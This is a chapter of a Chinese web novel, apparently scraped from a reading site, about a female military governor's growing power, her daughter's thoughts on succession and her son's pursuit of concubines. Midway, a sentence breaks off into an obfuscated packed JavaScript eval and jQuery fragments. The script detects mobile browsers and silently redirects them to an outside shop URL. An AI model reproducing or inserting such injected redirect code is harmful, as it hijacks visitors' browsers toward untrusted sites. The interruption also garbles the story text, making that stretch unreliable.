第一锦此次出征,是为了平叛。
在她一人抗住北狄后,情况也没有变的更好。北狄人在幽州找不到突破口,就会流窜去其他州县。大夏的边境早就从根子上烂了,有些地方还能抵御,有些地方直接放弃平民,还有的直接上书,大肆指责第一锦口口声声说北狄人已经被打退,结果自己这边出现了北狄人,这都是她的错!
那些年花在先帝一家三口身上的公关费,有一半都是为了解决这些事。第一锦也懒得据理力争,如果有理就能赢,事情会发展到这个地步吗?
但北狄人见了她就闻风丧胆,幽州地界内太平安乐,第一锦用互市掐住了北狄人的脖子,用糖,水果,腌菜,茶叶打断了北狄人的腿,甚至归化了一部分北狄部落为自己通风报信,甚至整个部落来投,这些年反而不用和北狄开战。
出征全都是为了平叛,剿匪。
朝廷的溃烂是与日俱增的,换个皇帝也无法解决。更何况这位新帝得位不正,大部分精力都用来稳固自己的地位,顾不得重整山河。而这种溃烂又蔓延到全天下,当皇帝对治下失去了掌控力,天下大乱就不只是简单的四个字。
第一锦这些年来算是什么妖魔鬼怪都见过了,欺男霸女只是入门级,吃人也不过是粗放型变态。这些炸裂的一地长官当然会导致民不聊生,但乱兵来去,更是持久且毁灭性的打击。
她不喜欢乱世。
.
节度使当到一定程度,不是造反就是被杀。而第一锦的前路如何,始终扑朔迷离。以她的文治武功水平,这些年下来,不可避免令自己人产生野心——那皇位何以我家节帅就坐不得?
虽然她是女人,可她是圣人啊!那长安宫里,可有我家节帅这样的仁义君子吗?
就算她不想也没用!
第一锦明显感觉到,这次凯旋后,人心浮动。地盘进一步扩大,势力进一步强盛,不可避免的会和朝廷产生越来越大的冲突。她是不可能把权力还回去的,退一步就是个死,那不如……彻底进一步。
反正现在皇帝也没什么尊严。
他是个内斗的行家,但如今的外部环境容不下过分的内斗,足够聪明的人能看出来,现在还在搞这种把戏的皇帝,甚至还不如晋惠帝那个傻子能够稳定朝局。怎么说呢,晋惠帝至少知道好歹啊,知道谁的忠心不可质疑。
而内斗高手眼里,没有忠贞,只有权术。
第一锦总是觉得,他的下场或许还不如先帝,历来亡国之君,有没有好下场要看天命。理论上新朝皇帝若无过分的恩怨,总是要恩待几分的——唐律疏议里的八议,其中一条便是议宾,谓承先代之后为国宾者,也就是前朝皇帝的后代,称之为宾,在新的朝代仍然拥有不一样的特权。
这是一种最高统治者对自己这个阶级的尊重,哪怕亡国之君,好歹也是当过君,更是政治底线还存在的证明,做给前朝臣子看的表态。要是连曾经的皇帝后裔都得不到尊重与优待,那其他跟着他们干过的人,又能有什么指望?
然而要是有什么意外,等不到当国宾,那第一锦也没办法咯。
她又不是就欠几个祖宗来供奉。
.
杜容很忙,所以给杜新纳妾,相看人选的事,她就交给了下属,主要是看看品性,以及确认本人意愿。想攀附杜新,看中他是第一锦唯一儿子的人也不少,只是身份上自然不会多高。
送女做妾,也要有个盼头,身份高的犯不着。
她倒是专程探过顾英华的口风,见对方态度堪称冰冷,就知道这对夫妻关系又创新低。这次胜利之后,杜容明显感觉到众人的躁动,后知后觉意识到,母亲在旁人眼里,已经是天下第一的军阀,与皇帝分庭抗礼,将来……说不得有那一天。
那哥哥岂不就是太子?
到了那一天,就算是母亲,也拦不住哥哥对顾英华的厌弃。毕竟母亲会老,会死,而哥哥终将掌握权力。和手握权力的人毫无感情,是坐不稳正妻之位的。也许让妾室生孩子,抱来抚养的确是个办法?
杜容不喜欢这样想,她觉得气闷,身处于这种环境,哪怕有办法可以自保,哪怕看破了权势不再眷恋,她也不觉得舒心自在,这还只是代入了一下嫂子。
那她自己呢?
权力是如此残酷的东西,尚未握紧,就感觉到被伤害,又是如此炫目的东西,尚未握紧,心跳就已经加剧。
杜容想到未来,也许母亲会走到至高无上的地步,心里并非喜悦,而是不甘——她不甘于只做一个公主,尤其是在哥哥成为皇帝之后,做一个他心目中,尊贵又安稳的公主。
女人可以登基吗?
此前,人们能够想到的答案或许只有武则天,可现在母亲给出了另一种可能,只不过她还不想给出自己的答案。
杜容骤然觉得自己成熟了很多,她看得出,母亲还不会放弃忠于朝廷的这个位置,其他节度使膨胀起来,称王称帝,这种人转瞬即逝,母亲才会一步一个脚印。
.
杜新出征后,情愿把女儿嫁他为妾的人家,都有些动作。有的是着急,有的是等不起。着急自然是害怕事有变数,也有些等不及的,本就在两可之间,是杜新自己努力来的人脉。
他当然不像表面上淡泊,真的只要身体健康品行端正,家世相貌对自己的依赖程度,他哪一条不挑?之所以说这种话,一方面是为了维持人设,另一方面自然是想试探一番杜容有没有私心。
虽然是一起长大同父同母的亲兄妹,但谁知道呢?
杜新需要的不是普通的兄妹之情,是支持自己做太子,为自己出谋划策,作保作证的妹妹。
所以她要像是襄阳公主一样,选一个最好,最适合做侧室,甚至能把顾英华压得喘不上气的贵妾,再准备几个年轻美貌好生养,没有家世不必顾忌可以肆意宠爱冷落的美妾。
杜容根本没有想到这一层,她那时候还不习惯去揣测自己的家人,所以只向最满足杜新条件,姑娘也的确愿意的小吏王家递了意思,双方达成共识。
纳妾也是需要一定手续的,尤其是这种进门就是为了绵延子嗣,正经的妾,仍然要下定小聘,文书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712478|206379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
具备,虽不用亲迎,仪式也是有的。杜容心情很复杂,她爹当年纳妾,都还没办上事。
想起阿兰雅,简直是恍如隔世,杜容长大后,想起小时候这些事,还记得当时的害怕伤心,但现在的她已经不会害怕,而且作为大人,甚至能够明白,哪有那么凑巧的事?
父亲死了,阿兰雅也不见了,母亲一步步走到今天。
时也命也,不是吗?
然而杜新意气风发回城后不久,就偶遇了一位面若桃花的美丽少女,经过一番意外碰撞后,杜新彻底对少女动了心思。他等了这么多年,就是在等一个全心全意依赖他的女孩。
如今在第一锦治下,自然不是所有女孩都能有工作,就算是摇奶茶,做点心,去后厨烧火,这样的工作终究也无法覆盖全部劳动人口。社会的变革本质上由生产力决定,不以人的意志为转移,提供不了那么多岗位,是没办法的事。
所以读书考试就是为了拿到高学历,嫁一个好人家,靠着自己本事上嫁,也是一个很主流的选择。
为了些许薪水去抛头露面,对高门大户而言是不体面的,他们虽然不敢不让女儿读书,也觉得读了书颇有好处,但除非工作体面,比如进入大学获得教职,或者考入体面的岗位留在城里做公务员,否则还不如留在家里一直读书,或者拿到文凭,作为优势谈婚论嫁。
有些高门颇具理想,倒也很卖力,将儿女全部送入学校,学成后全部考公,身体力行实践政治理想,想要看看用第一锦的办法能不能搞好这个国家。
有些高门也不介意,随着孩子的心愿,不管是去创作剧本,坐上牛车四处采风,还是去勤工俭学,好奇心作祟摇奶茶,都认为是一种实践,只要保证安全,吃点苦就吃点苦,并不认为不体面。
然而杜新最认可的还是第一种高门,只可惜他已有妻室,还要在母亲手底下过日子,不敢,也没有足够的资本去娶这样人家的女儿为妾。
他爱上了桃花姑娘。
人面桃花相映红的这位姑娘叫郑贤儿,虽是大姓,却不是出身大家,祖父做过县令,父亲是个教书先生,自己则读到中级班毕业,在第一锦的设置里约等于初中毕业,靠着教街坊小孩和女孩子读书攒下一笔钱。
虽然外面的学校是免费的,但教育质量可想而知是大锅饭,郑贤儿等于是教辅机构,小班上课,甚至一对一辅导,且耐心温柔有经验,攒下第一桶金之后,郑贤儿做大做强。
她头脑灵活,也看到了商机,干脆真的开起教辅机构,反向鸡爹,当父亲去狠狠考了几次公,作为机构的招牌。因为口碑所在,且目标人群是街坊邻里,一方面能帮忙看管约束孩子,教导课业,另一方面这种家庭父母忙于赚钱生活,对孩子的成绩要求不太高。
能比他们强就行,有些孩子回家还要教父母识字呢,郑贤儿精准抓住市场,但却做不了太大——她的底蕴和积累实在不够,而且教辅机构在涿州,算是半白不黑,都传闻节度使要修改相关规定,郑贤儿就在卖菜回家的路上撞到了杜新。
这怎么不算天赐的姻缘呢?